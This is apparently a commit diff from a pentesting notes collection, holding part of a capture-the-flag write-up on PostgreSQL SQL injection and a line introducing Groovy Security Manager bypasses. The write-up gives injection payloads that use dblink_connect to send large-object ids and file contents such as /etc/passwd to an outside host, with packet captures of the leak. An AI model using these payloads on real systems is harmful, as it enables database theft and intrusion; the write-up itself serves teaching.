0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
|
||||
0x0050: 706f 7374 6772 6573 0000 postgres..
|
||||
```
|
||||
|
||||
We got 24668 as `oid` so that means we can use `lo_import` function. Unfortunately, we won't get any results if we try to get the content of large object using `lo_get(24668)` or directly access the `pg_largeobject` catalog. **It looks like the current user doesn't have permission to read the content of new objects.**
|
||||
|
||||
After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL** (Access Control List). That means, if there is an old object with an ACL that allows current user to read it, then we can exfiltrate that object's content.
|
||||
|
||||
We can get a list of available large object's `oid` by extracting from `pg_largeobject_metadata`.
|
||||
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
|
||||
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
|
||||
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
|
||||
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
|
||||
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
|
||||
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
|
||||
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
|
||||
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
|
||||
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
|
||||
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
|
||||
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
|
||||
|
||||
.....
|
||||
.....
|
||||
.....
|
||||
```
|
||||
|
||||
We got a bunch of `oid`s. We can try using `lo_get` to load object's content. For example, `lo_get(16439)` will load the content of `/etc/passwd`. Because the result of `lo_gets` is `bytea`, we need to convert it to `UTF8` so that it can be appended in the query.
|
||||
|
||||
We can try to load some objects with lowest `oid` to find out if the flag file has been loaded before. The flag file object does exist with `oid` 16444. There are no whitespaces in the flag so we can just display it as is.
|
||||
|
||||
To load the flag:
|
||||
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
|
||||
```
|
||||
|
||||
#### More info of oid:
|
||||
|
||||
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -472,7 +472,7 @@ Check the following page to learn more about the **exploitation of EL interprete
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
This Security Manager bypass was taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
The following Security Manager bypasses were taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
|
||||
```java
|
||||
//Basic Payload
|
||||
|
|
Loading…
Reference in a new issue